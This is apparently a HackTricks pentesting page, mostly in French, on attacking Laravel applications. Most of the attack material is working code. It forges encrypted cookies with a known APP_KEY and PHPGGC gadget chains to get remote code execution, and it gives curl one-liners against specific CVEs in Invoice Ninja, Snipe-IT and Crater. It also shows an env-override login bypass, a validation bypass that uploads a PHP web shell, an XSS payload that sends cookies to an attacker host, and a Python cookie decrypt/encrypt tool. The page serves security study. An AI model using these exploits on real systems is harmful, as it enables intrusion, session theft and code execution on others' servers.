Laravel

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Laravel SQLInjection

Lisez les informations à propos de ceci ici: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Encryption internals (Laravel \u003e=5.6)

Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en interne (Illuminate\\Encryption\\Encrypter). Le texte chiffré brut qui est finalement envoyé au client est Base64 of a JSON object like:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) va serialize() le plaintext par défaut, tandis que decrypt($payload, $unserialize=true) va automatiquement unserialize() la valeur décryptée. Par conséquent tout attacker qui connaît le secret de 32 octets APP_KEY peut créer un objet PHP sérialisé chiffré et obtenir une RCE via les magic methods (__wakeup, __destruct, …).

Minimal PoC (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Injectez la chaîne produite dans n’importe quel sink decrypt() vulnérable (route param, cookie, session, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automatise l’ensemble du processus et ajoute un mode bruteforce pratique :

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Le script prend en charge de manière transparente les payloads CBC et GCM et régénère le champ HMAC/tag.


Schémas vulnérables réels

ProjetSink vulnérableGadget chain
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie lorsque Passport::withCookieSerialization() est activéLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

La procédure d’exploitation est toujours la suivante :

  1. Obtenir ou brute-force la APP_KEY (32 octets).
  2. Construire une gadget chain avec PHPGGC (par exemple Laravel/RCE13, Laravel/RCE9 ou Laravel/RCE15).
  3. Chiffrer le gadget sérialisé avec laravel_crypto_killer.py et la APP_KEY récupérée.
  4. Envoyer le ciphertext au sink vulnérable decrypt() (paramètre de route, cookie, session …) pour déclencher RCE.

Ci-dessous des one-liners concis démontrant le chemin d’attaque complet pour chaque CVE réel mentionné ci-dessus:

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Parce que chaque réponse Laravel fraîche définit au moins 1 cookie chiffré (XSRF-TOKEN et généralement laravel_session), public internet scanners (Shodan, Censys, …) leak millions of ciphertexts qui peuvent être attaqués hors ligne.

Key findings of the research published by Synacktiv (2024-2025):

  • Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
  • Dataset May 2025 » 625 k tokens, 3.56 % keys cracked
  • 1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.

  • Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).

The private Go tool nounours pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.

CVE-2024-52301 – HTTP argv/env override → auth bypass

Quand PHP’s register_argc_argv=On (typique sur beaucoup de distros), PHP expose un tableau argv pour les requêtes HTTP dérivé de la query string. Les versions récentes de Laravel ont parsé ces arguments “CLI-like” et ont pris en compte --env=<value> à l’exécution. Ceci permet de basculer l’environnement du framework pour la requête HTTP courante simplement en l’ajoutant à n’importe quelle URL:

  • Quick check:

  • Visitez https://target/?--env=local ou n’importe quelle chaîne et cherchez des changements dépendant de l’environnement (debug banners, footers, verbose errors). Si la chaîne est reflétée, l’override fonctionne.

  • Impact example (business logic trusting a special env):

  • Si l’app contient des branches comme if (app()->environment('preprod')) { /* bypass auth */ }, vous pouvez vous authentifier sans identifiants valides en envoyant le POST de login à:

  • POST /login?--env=preprod

  • Notes:

  • Fonctionne par requête, pas de persistance.

  • Nécessite register_argc_argv=On et une version vulnérable de Laravel qui lit argv pour HTTP.

  • Primitive utile pour afficher des erreurs plus verbeuses dans des envs “debug” ou pour déclencher des chemins de code conditionnés par l’environnement.

  • Mitigations:

  • Désactiver register_argc_argv pour PHP-FPM/Apache.

  • Mettre à jour Laravel pour ignorer argv sur les requêtes HTTP et supprimer toute hypothèse de confiance liée à app()->environment() dans les routes de production.

Minimal exploitation flow (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

CVE-2025-27515 – Contournement de la validation des fichiers génériques (files.*)

Laravel 10.0–10.48.28, 11.0.0–11.44.0 and 12.0.0–12.1.0 permettent à des requêtes multipart forgées d’ignorer complètement toute règle attachée à files.* / images.*. Le parseur qui étend les clés génériques peut être perturbé par des placeholders contrôlés par l’attaquant (par exemple, en pré-remplissant des segments __asterisk__), si bien que le framework instancierait des objets UploadedFile sans jamais exécuter image, mimes, dimensions, max, etc. Une fois qu’un blob malveillant arrive dans Storage::putFile*, vous pouvez basculer vers n’importe lequel des primitives d’upload de fichiers déjà listées dans HackTricks (web shells, log poisoning, signed job deserialization, …).

Hunting for the pattern

  • Static: rg -n "files\\.\*" -g"*.php" app/ or inspect FormRequest classes for rules() returning arrays that contain files.*.
  • Dynamic: intercepter Illuminate\Validation\Validator::validate() via Xdebug or Laravel Telescope en pré-production pour enregistrer chaque requête qui atteint la règle vulnérable.
  • Middleware/route review: les endpoints traitant plusieurs fichiers (importateurs d’avatars, portails de documents, composants glisser-déposer) ont tendance à faire confiance à files.*.

Practical exploitation workflow

  1. Capture a legitimate upload and replay it in Burp Repeater.
  2. Duplicate the same part but alter the field name so it already includes placeholder tokens (e.g., files[0][__asterisk__payload]) or nest another array (files[0][alt][0]). On vulnerable builds, that second part never gets validated but still becomes an UploadedFile entry.
  3. Point the forged file to a PHP payload (shell.php, .phar, polyglot) and force the application to store it in a web-accessible disk (commonly public/ once php artisan storage:link is enabled).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'

Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] …) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.


Astuces Laravel

Mode de débogage

Si Laravel est en mode de débogage vous pourrez accéder au code et aux données sensibles.
Par exemple http://127.0.0.1:8000/profiles:

Ceci est généralement nécessaire pour exploiter d’autres CVE RCE de Laravel.

CVE-2024-13918 / CVE-2024-13919 – reflected XSS dans les pages de debug Whoops

  • Affectés : Laravel 11.9.0–11.35.1 avec APP_DEBUG=true (soit globalement soit forcé via des overrides env mal configurés comme CVE-2024-52301).
  • Principe : chaque exception non interceptée rendue par Whoops renvoie des parties de la requête/route sans encodage HTML, donc injecter <img src> / <script> dans une route ou un paramètre de requête entraîne un XSS stocké dans la réponse avant authentification.
  • Impact : voler XSRF-TOKEN, leak les traces de pile contenant des secrets, ouvrir un pivot côté navigateur pour atteindre _ignition/execute-solution dans les sessions victimes, ou enchaîner avec des tableaux de bord sans mot de passe qui reposent sur des cookies.

Minimal PoC:

// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"

Même si le mode debug est normalement désactivé, forcer une erreur via des background jobs ou des queue workers et sonder le endpoint _ignition/health-check révèle souvent des hôtes de staging qui exposent encore cette chaîne.

Fingerprinting & exposed dev endpoints

Vérifications rapides pour identifier une stack Laravel et des outils dev dangereux exposés en production :

  • /_ignition/health-check → Ignition présent (outil de debug utilisé par CVE-2021-3129). S’il est accessible sans authentification, l’application peut être en mode debug ou mal configurée.
  • /_debugbar → Laravel Debugbar assets ; indique souvent le mode debug.
  • /telescope → Laravel Telescope (dev monitor). Si public, attendez-vous à une large divulgation d’informations et à des actions possibles.
  • /horizon → Queue dashboard ; divulgation de la version et parfois actions protégées par CSRF.
  • X-Powered-By, cookies XSRF-TOKEN et laravel_session, et les pages d’erreur Blade aident aussi au fingerprinting.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel stocke l’APP utilisée pour chiffrer les cookies et d’autres identifiants dans un fichier nommé .env, accessible via un path traversal, par exemple : /../.env

Laravel affiche aussi ces informations dans la page de debug (qui apparaît quand Laravel rencontre une erreur et que le mode debug est activé).

Avec la APP_KEY secrète de Laravel, vous pouvez déchiffrer et rechiffrer les cookies :

Outil d'aide pour déchiffrer/chiffrer les cookies (Python) ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)

def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)

def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[‘mac’] value = bytes(dic[‘value’], ‘utf-8’) iv = bytes(dic[‘iv’], ‘utf-8’) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return ‘’

def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, ‘utf-8’) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {‘iv’: iv.decode(), ‘value’: value.decode(), ‘mac’: mac} return base64.b64encode(bytes(json.dumps(dic), ‘utf-8’))

app_key =‘HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=’ key = base64.b64decode(app_key) decrypt(‘eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9’) #b’{“data”:“a:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e’ encrypt(b’{“data”:“a:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605141157}’)

</details>

### Laravel Deserialization RCE

Versions vulnérables : 5.5.40 et 5.6.x jusqu'à 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

Vous pouvez trouver des informations sur la vulnérabilité de deserialization ici : [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

Vous pouvez le tester et l'exploiter en utilisant [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Ou vous pouvez aussi l'exploiter avec metasploit : `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

Une autre deserialization : [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)



## Références
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 – Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research – CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)


> [!TIP]
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenir HackTricks</summary>
>
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
>
> </details>